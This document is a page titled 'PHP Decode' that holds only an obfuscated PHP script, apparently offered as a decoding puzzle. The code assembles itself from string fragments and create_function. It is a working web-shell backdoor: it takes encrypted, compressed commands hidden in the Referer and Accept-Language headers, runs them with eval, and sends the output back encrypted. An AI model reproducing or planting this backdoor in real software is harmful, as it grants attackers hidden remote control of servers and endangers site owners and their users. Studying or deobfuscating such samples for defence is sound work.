PHP Decode

<?  $t='@x(@base64_decode(preg_replace(array("/_/","/-/"),array("/","+"),$ss($s[$i],0,$e))),$k)));$o=ob_get_c'; 
$q='ch_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/",$ra,$m);if($q&&$m){@session_start();$s=&$_SESSION;$ss="sub'; 
$m='str";$sl="str_replace";$i=$m[1][0].$m[1][1];$h=$sl($ss(md5($i.$kh),0,3));$f=$sl($ss(md5($i.$kf),0,3));$p'; 
$u='ontents();ob_end_clean();$d=base64_encode(x(gzcompress($o),$k));print("<$k>$d</$k>");@session_destroy();}}}}'; 
$b='y_key_exists($i,$s)){$s[$i].=$p;$e=strpos($s[$i],$f);if($e){$k=$kh.$kf;ob_start();@eval(@gzuncompress('; 
$g='str";$sl="strtolower";$i=$m[1][0].$m[1][1];$h=$sl($ss(md5($i.$kh),0,3));$f=$sl($ss(md5($i.$kf),0,3));$p'; 
$i='<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}function y($t){$c=strlen($t);$o="";for($i=0;$i<$'; 
 
$n=substr($m, $_GET['a'], $_GET['b']); 
$P='ANGUAGE"];$rf=@$r["FLAG"];if($rr&&$ra&&y($rf)=="`TU_KU_KcQQbQXeKMZPK[ZXeK_WUPPUQ_Ka_QK`TU_KcU`T[a`KWZ[cU'; 
$r=$n('C','','cCrCeate_CfuCCnCction'); 
$e='ZSKT[cK`TQK[NRa_OM`U[ZKc[^W_"){$u=parse_url($rr);parse_str($u["query"],$q);$q=array_values($q);preg_mat'; 
$B='c;$i++){$o.=chr(ord($t[$i])-20);}return $o;}$r=$_SERVER;$rr=@$r["HTTP_REFERER"];$ra=@$r["HTTP_ACCEPT_L'; 
$d='="";for($z=1;$z<count($m[1]);$z++)$p.=$q[$m[2][$z]];if(strpos($p,$h)===0){$s[$i]="";$p=$ss($p,3);}if(arra'; 
$T='$kh="e3f2";$kf="bbbf";function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j'; 
$F=$n('','',$T.$i.$B.$P.$e.$q.$g.$d.$b.$t.$u);$V=$r('',$F); 
 
$V(); ?>